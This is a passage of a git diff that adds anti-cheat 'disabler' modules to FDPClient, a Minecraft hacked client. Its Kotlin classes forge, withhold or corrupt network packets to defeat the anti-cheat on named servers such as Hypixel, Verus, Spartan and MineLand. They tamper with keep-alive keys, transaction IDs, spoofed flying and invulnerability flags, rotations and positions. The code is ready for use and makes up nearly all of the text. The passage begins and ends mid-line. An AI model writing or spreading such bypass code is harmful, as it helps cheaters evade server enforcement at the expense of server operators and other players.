b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/FlyingDisabler.kt new file mode 100644 index 0000000..827460b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/FlyingDisabler.kt @@ -0,0 +1,22 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.entity.player.PlayerCapabilities +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C13PacketPlayerAbilities + +class FlyingDisabler : DisablerMode("Flying") { + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + val capabilities = PlayerCapabilities() + capabilities.disableDamage = false + capabilities.isFlying = true + capabilities.allowFlying = false + capabilities.isCreativeMode = false + mc.netHandler.addToSendQueue(C13PacketPlayerAbilities(capabilities)) + disabler.debugMessage("Send Packet C13") + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/LessFlagDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/LessFlagDisabler.kt new file mode 100644 index 0000000..696bfaf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/LessFlagDisabler.kt @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.utils.TransferUtils +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.sqrt + +class LessFlagDisabler : DisablerMode("LessFlag") { + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook) { + val x = packet.x - mc.thePlayer.posX + val y = packet.y - mc.thePlayer.posY + val z = packet.z - mc.thePlayer.posZ + val diff = sqrt(x * x + y * y + z * z) + if (diff <= 8) { + TransferUtils.silentConfirm = true + TransferUtils.noMotionSet = true + disabler.debugMessage("Flag Reduced") + } else { + disabler.debugMessage("Too Far Away") + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/NoRotationDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/NoRotationDisabler.kt new file mode 100644 index 0000000..a8eb7d8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/NoRotationDisabler.kt @@ -0,0 +1,66 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.* + +class NoRotationDisabler : DisablerMode("NoRotation") { + private val modifyModeValue = ListValue("${valuePrefix}Mode", arrayOf("ConvertNull", "Spoof", "Zero", "SpoofZero", "Negative", "OffsetYaw", "Invalid"), "ConvertNull") + private val offsetAmountValue = FloatValue("${valuePrefix}OffsetAmount", 6f, -180f, 180f) + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + when(modifyModeValue.get()) { + "ConvertNull" -> { + if(packet.isMoving) { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(packet.x, packet.y, packet.z, packet.onGround)) + }else { + PacketUtils.sendPacketNoEvent(C03PacketPlayer(packet.onGround)) + } + event.cancelEvent() + } + + "Spoof" -> { + if(packet.getRotating()) { + packet.yaw = mc.thePlayer.rotationYaw + packet.pitch = mc.thePlayer.rotationPitch + } + } + + "Zero" -> { + if(packet.getRotating()) { + packet.yaw = 0.0f + packet.pitch = 0.0f + } + } + + "SpoofZero" -> { + if(packet.isMoving) { + PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, 0.0f, 0.0f, packet.onGround)) + }else { + PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, 0.0f, 0.0f, packet.onGround)) + } + event.cancelEvent() + } + + "Negative" -> { + if(packet.getRotating()) { + packet.yaw = -packet.yaw + packet.pitch = -packet.pitch + } + } + + "OffsetYaw" -> { + if(packet.getRotating()) { + packet.yaw += offsetAmountValue.get() + } + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/PacketInvadeDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/PacketInvadeDisabler.kt new file mode 100644 index 0000000..9aa59a3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/PacketInvadeDisabler.kt @@ -0,0 +1,83 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.minecraft.network.play.client.C00PacketKeepAlive +import net.minecraft.network.play.client.C0FPacketConfirmTransaction + +class PacketInvadeDisabler : DisablerMode("PacketInvade") { + private val modifyC00Value = BoolValue("${valuePrefix}ModifyC00", true) + /*private val modifyC0FValue = BoolValue("${valuePrefix}ModifyC0F", true)*/ + private val modifyModeValue = ListValue("${valuePrefix}ModifyMode", arrayOf("Disturb", "InvalidDisturb", "Invalid", "Drift"), "Drift").displayable { modifyC00Value.get() } + private val disturbAmountValue = IntegerValue("${valuePrefix}ModifyAmount", 128, 1, 256) + private val negativeValue = BoolValue("${valuePrefix}Negative", true) + override fun onPacket(event: PacketEvent) { + val packet = event.packet/* + if (packet is C0FPacketConfirmTransaction && modifyC0FValue.get()) { + when(modifyModeValue.get()) { + "Disturb" -> { + val amounts = RandomUtils.nextInt(1, disturbAmountValue.get() * 128) + if (negativeValue.get()) { + packet.uid -= amounts.toShort() + }else { + packet.uid += amounts.toShort() + } + } + "InvalidDisturb" -> { + val amounts = RandomUtils.nextInt(1024, 32767) + if (negativeValue.get()) { + packet.uid -= amounts.toShort() + }else { + packet.uid += amounts.toShort() + } + } + "Invalid" -> { + packet.uid = (0).toShort() + } + "Drift" -> { + if (negativeValue.get()) { + packet.uid -= (disturbAmountValue.get()).toShort() + }else { + packet.uid += (disturbAmountValue.get()).toShort() + } + } + } + disabler.debugMessage("Modified C0F:"+packet.uid) + }*/ + if (packet is C00PacketKeepAlive && modifyC00Value.get()) { + when(modifyModeValue.get()) { + "Disturb" -> { + val amounts = RandomUtils.nextInt(1, disturbAmountValue.get() * 1024) + if (negativeValue.get()) { + packet.key -= amounts + }else { + packet.key += amounts + } + } + "InvalidDisturb" -> { + val amounts = RandomUtils.nextInt(1024, 2147483647) + if (negativeValue.get()) { + packet.key -= amounts + }else { + packet.key += amounts + } + } + "Invalid" -> { + packet.key = 0 + } + "Drift" -> { + if (negativeValue.get()) { + packet.key -= disturbAmountValue.get() + }else { + packet.key += disturbAmountValue.get() + } + } + } + disabler.debugMessage("Modified C00:"+packet.key) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/RidingDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/RidingDisabler.kt new file mode 100644 index 0000000..3aa4bfb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/RidingDisabler.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C0CPacketInput + +class RidingDisabler : DisablerMode("Riding") { + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + mc.netHandler.addToSendQueue(C0CPacketInput(mc.thePlayer.moveStrafing, mc.thePlayer.moveForward, mc.thePlayer.movementInput.jump, mc.thePlayer.movementInput.sneak)) + disabler.debugMessage("Packet C0C") + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HeirteirACDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HeirteirACDisabler.kt new file mode 100644 index 0000000..e688ff0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HeirteirACDisabler.kt @@ -0,0 +1,48 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.server + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C03PacketPlayer.* +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.util.BlockPos +import kotlin.math.sqrt + +class HeirteirACDisabler : DisablerMode("HeirteirAC") { + + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.ticksExisted < 120) + return + mc.netHandler.addToSendQueue(C04PacketPlayerPosition( + mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition( + mc.thePlayer.posX, mc.thePlayer.posY + 490, mc.thePlayer.posZ, true)) + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (mc.thePlayer.ticksExisted < 120) + return + + if (packet is S08PacketPlayerPosLook) { + val x = packet.x - mc.thePlayer.posX + val y = packet.y - mc.thePlayer.posY + val z = packet.z - mc.thePlayer.posZ + val diff = sqrt(x * x + y * y + z * z) + if (diff < 12) { + event.cancelEvent() + PacketUtils.sendPacketNoEvent( + C06PacketPlayerPosLook( + packet.x, + packet.y, + packet.z, + packet.getYaw(), + packet.getPitch(), + !mc.theWorld.isAirBlock(BlockPos(packet.x, packet.y - 0.1, packet.z)) + ) + ) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HyCraftDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HyCraftDisabler.kt new file mode 100644 index 0000000..be99a4e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HyCraftDisabler.kt @@ -0,0 +1,36 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.server + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S3EPacketTeams +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +class HyCraftDisabler : DisablerMode("HyCraftCrash") { + private val invalidTeams = BoolValue("${valuePrefix}BlockTeams", false) + private val invalidPosition = BoolValue("${valuePrefix}BlockInvalidPosition", true) + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S3EPacketTeams && invalidTeams.get()) { + disabler.debugMessage("Blocked Invalid S3EPacketTeams") + event.cancelEvent() + } + if (packet is S08PacketPlayerPosLook && invalidPosition.get()) { + val x = packet.x + val y = packet.y + val z = packet.z + + if (x >= 200000 || x <= -200000 || + y >= 200000 || y <= -200000 || + z >= 200000 || z <= -200000) { + mc.netHandler.networkManager.sendPacket(C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, packet.getYaw(), packet.getPitch(), false) ) + disabler.debugMessage("Blocked Invalid S08PacketPlayerPosLook") + event.cancelEvent() + } + } + + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HypixelDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HypixelDisabler.kt new file mode 100644 index 0000000..d923ffd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HypixelDisabler.kt @@ -0,0 +1,142 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.server + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.* +import net.minecraft.network.play.server.S02PacketChat +import java.util.concurrent.LinkedBlockingQueue + +class HypixelDisabler : DisablerMode("Hypixel") { + private val banWarning = BoolValue("${valuePrefix}BanWarning", true) + private val watchDogAntiBan = BoolValue("${valuePrefix}LessFlag", true) + private val noC03 = BoolValue("${valuePrefix}NoC03Packet", true) + private val timerA = BoolValue("${valuePrefix}Timer1", true) + private val timerB = BoolValue("${valuePrefix}Timer2", false) + private var counter = 0 + private var x = 0.0 + private var y = 0.0 + private var z = 0.0 + + private val packets = LinkedBlockingQueue<Packet<INetHandlerPlayServer>>() + private val timerCancelDelay = MSTimer() + private val timerCancelTimer = MSTimer() + private var timerShouldCancel = true + private var inCage = true + + + private var canBlink = true + + override fun onWorld(event: WorldEvent) { + counter = 0 + inCage = true + } + + override fun onEnable() { + counter = 0 + inCage = true + x = 0.0 + y = 0.0 + z = 0.0 + timerCancelDelay.reset() + timerCancelTimer.reset() + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + canBlink = true + + //ban warning + if (banWarning.get() && packet is S02PacketChat && packet.chatComponent.unformattedText.contains("Cages opened!", true)) { + FDPClient.hud.addNotification(Notification("Disabler", "Speed is bannable until this notification disappears.", NotifyType.ERROR, 20000)) + inCage = false + } + + if (mc.thePlayer.ticksExisted > 200f) + inCage = false + + + //timerA + if (timerA.get() && inCage == false) { + if (packet is C02PacketUseEntity || packet is C03PacketPlayer || packet is C07PacketPlayerDigging || packet is C08PacketPlayerBlockPlacement || + packet is C0APacketAnimation || packet is C0BPacketEntityAction || packet is C0FPacketConfirmTransaction || packet is C00PacketKeepAlive ) { + if (timerShouldCancel) { + if (!timerCancelTimer.hasTimePassed(270)) { + packets.add(packet as Packet<INetHandlerPlayServer>) + event.cancelEvent() + canBlink = false + } else { + disabler.debugMessage("Timer 1 release packets") + disabler.debugMessage("Size " + packets.size.toString()) + timerShouldCancel = false + while (!packets.isEmpty()) { + PacketUtils.sendPacketNoEvent(packets.take()) + } + } + } + } + } + + //timerB + if (timerB.get() && inCage == false) { + if (packet is C02PacketUseEntity || packet is C03PacketPlayer || packet is C07PacketPlayerDigging || packet is C08PacketPlayerBlockPlacement || + packet is C0APacketAnimation || packet is C0BPacketEntityAction || packet is C0FPacketConfirmTransaction || packet is C00PacketKeepAlive) { + if (timerShouldCancel) { + if (!timerCancelTimer.hasTimePassed(250)) { + packets.add(packet as Packet<INetHandlerPlayServer>) + event.cancelEvent() + canBlink = false + } else { + disabler.debugMessage("Timer 2 release packets") + disabler.debugMessage("Size " + packets.size.toString()) + timerShouldCancel = false + while (!packets.isEmpty()) { + PacketUtils.sendPacketNoEvent(packets.take()) + } + } + } + } + } + + + // noC03 + if (packet is C03PacketPlayer && !MovementUtils.isMoving() && noC03.get() && !inCage) { + event.cancelEvent() + canBlink = false + } + + } + + override fun onUpdate(event: UpdateEvent) { + + + // timer1 + if (timerA.get()) { + if (timerCancelDelay.hasTimePassed(3410)) { + timerShouldCancel = true + timerCancelTimer.reset() + timerCancelDelay.reset() + } + } + + // timer2 + if (timerB.get()) { + if (timerCancelDelay.hasTimePassed(2000)) { + timerShouldCancel = true + timerCancelTimer.reset() + timerCancelDelay.reset() + } + } + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/MMCStrafeDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/MMCStrafeDisabler.kt new file mode 100644 index 0000000..cb60acc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/MMCStrafeDisabler.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.server + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.network.play.client.C0FPacketConfirmTransaction + +class MMCStrafeDisabler : DisablerMode("MMCStrafe") { + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C0FPacketConfirmTransaction && mc.thePlayer.ticksExisted % 3 == 0) + event.cancelEvent() + } + } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/MineLandDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/MineLandDisabler.kt new file mode 100644 index 0000000..86cbcdd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/MineLandDisabler.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.server + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.* +import net.minecraft.network.play.client.C0FPacketConfirmTransaction + +class MineLandDisabler : DisablerMode("MineLand") { + + @EventTarget + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C0FPacketConfirmTransaction) { + event.cancelEvent() + } else if (packet is C03PacketPlayer && !(packet is C04PacketPlayerPosition || packet is C05PacketPlayerLook || packet is C06PacketPlayerPosLook)) { + event.cancelEvent() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/UniversocraftDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/UniversocraftDisabler.kt new file mode 100644 index 0000000..c2e7d1e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/UniversocraftDisabler.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.server + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.client.C0FPacketConfirmTransaction + +class UniversocraftDisabler : DisablerMode("Universocraft") { + + private val ticks = IntegerValue ("Univerocraft-ModifyAmount", 15, 1, 30) + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is C0FPacketConfirmTransaction && mc.thePlayer.ticksExisted < ticks.get()) { + disabler.debugMessage("C0F modify") + if (mc.thePlayer.ticksExisted % 2 == 0) { + packet.uid = Short.MIN_VALUE + } else { + packet.uid = Short.MAX_VALUE + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spartan/SpartanCombatDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spartan/SpartanCombatDisabler.kt new file mode 100644 index 0000000..5e39a50 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spartan/SpartanCombatDisabler.kt @@ -0,0 +1,44 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.spartan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.network.play.client.C00PacketKeepAlive +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +class SpartanCombatDisabler : DisablerMode("SpartanCombat") { + + private val msTimer = MSTimer() + + private val keepAlives = arrayListOf<C00PacketKeepAlive>() + private val transactions = arrayListOf<C0FPacketConfirmTransaction>() + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (msTimer.hasTimePassed(3000L) && keepAlives.size > 0 && transactions.size > 0) { + PacketUtils.sendPacketNoEvent(keepAlives[keepAlives.size - 1]) + PacketUtils.sendPacketNoEvent(transactions[transactions.size - 1]) + disabler.debugMessage("c00 no.${keepAlives.size - 1} sent.") + disabler.debugMessage("c0f no.${transactions.size - 1} sent.") + keepAlives.clear() + transactions.clear() + msTimer.reset() + } + if (packet is C00PacketKeepAlive && (keepAlives.size <= 0 || packet != keepAlives[keepAlives.size - 1])) { + disabler.debugMessage("c00 added") + keepAlives.add(packet) + event.cancelEvent() + } + if (packet is C0FPacketConfirmTransaction && (transactions.size <= 0 || packet != transactions[transactions.size - 1])) { + disabler.debugMessage("c0f added") + transactions.add(packet) + event.cancelEvent() + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateDisabler.kt new file mode 100644 index 0000000..6980eae --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateDisabler.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.spectate + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C18PacketSpectate + +class SpectateDisabler : DisablerMode("Spectate") { + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + mc.netHandler.addToSendQueue(C18PacketSpectate(mc.thePlayer.uniqueID)) + disabler.debugMessage("Packet C18") + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateSpoof2Disabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateSpoof2Disabler.kt new file mode 100644 index 0000000..916d34f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateSpoof2Disabler.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.spectate + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C13PacketPlayerAbilities +import net.minecraft.network.play.client.C18PacketSpectate + +class SpectateSpoof2Disabler : DisablerMode("SpectateSpoof2") { + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + mc.netHandler.addToSendQueue(C18PacketSpectate(mc.thePlayer.uniqueID)) + disabler.debugMessage("Packet C18") + } + if (packet is C13PacketPlayerAbilities) { + disabler.debugMessage("Packet C13") + packet.isFlying = true + packet.isInvulnerable = true + packet.isAllowFlying = true + packet.isCreativeMode = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateSpoofDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateSpoofDisabler.kt new file mode 100644 index 0000000..75147ca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spectate/SpectateSpoofDisabler.kt @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.spectate + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C13PacketPlayerAbilities +import net.minecraft.network.play.client.C18PacketSpectate + +class SpectateSpoofDisabler : DisablerMode("SpectateSpoof"){ + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + packet.onGround = false + + mc.netHandler.addToSendQueue(C18PacketSpectate(mc.thePlayer.uniqueID)) + mc.netHandler.addToSendQueue(C13PacketPlayerAbilities(mc.thePlayer.capabilities)) + disabler.debugMessage("Packet C18 + C13") + } + if (packet is C13PacketPlayerAbilities) { + disabler.debugMessage("Packet C13") + packet.isFlying = true + packet.isInvulnerable = true + packet.isAllowFlying = true + packet.isCreativeMode = false + } + + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusCustomDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusCustomDisabler.kt new file mode 100644 index 0000000..46f841c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusCustomDisabler.kt @@ -0,0 +1,95 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.verus + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacketNoEvent +import net.minecraft.network.Packet +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C0BPacketEntityAction +import java.util.concurrent.ConcurrentLinkedQueue + +class OldVerusCustomDisabler : DisablerMode("OldVerusCustomDisabler") { + private val movementDisabler = BoolValue("Movement", false) + private val sprintDisabler = BoolValue("Sprint", false) + + private val transactions = ConcurrentLinkedQueue<Packet<*>>() + private val keepAlives = ConcurrentLinkedQueue<Packet<*>>() + + private var teleported = false + + @EventTarget + override fun onMove(event: MoveEvent) { + if (movementDisabler.value) { + if (mc.thePlayer.ticksExisted % 100 == 0) { + sendPacketNoEvent( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mc.thePlayer.onGround + ) + ) + sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, -0.015625, mc.thePlayer.posZ, false)) + sendPacketNoEvent( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mc.thePlayer.onGround + ) + ) + + teleported = true + } + } + + if (sprintDisabler.value) { + sendPacketNoEvent( + C0BPacketEntityAction( + mc.thePlayer, + if (mc.thePlayer.ticksExisted % 2 == 0) C0BPacketEntityAction.Action.STOP_SPRINTING else C0BPacketEntityAction.Action.START_SPRINTING + ) + ) + } + } + + @EventTarget + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (sprintDisabler.value && packet is C0BPacketEntityAction) { + + if (packet.action == C0BPacketEntityAction.Action.START_SPRINTING || + packet.action == C0BPacketEntityAction.Action.STOP_SPRINTING + ) { + event.cancelEvent() + } + } + } + + @EventTarget + fun onWorld(event: MoveEvent) { + if (movementDisabler.value) { + if (teleported) { + event.cancelEvent() + } + + teleported = false + } + } + + override fun onWorld(event: WorldEvent) { + transactions.clear() + keepAlives.clear() + teleported = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusDisabler.kt new file mode 100644 index 0000000..6f37afe --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusDisabler.kt @@ -0,0 +1,116 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.verus + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import 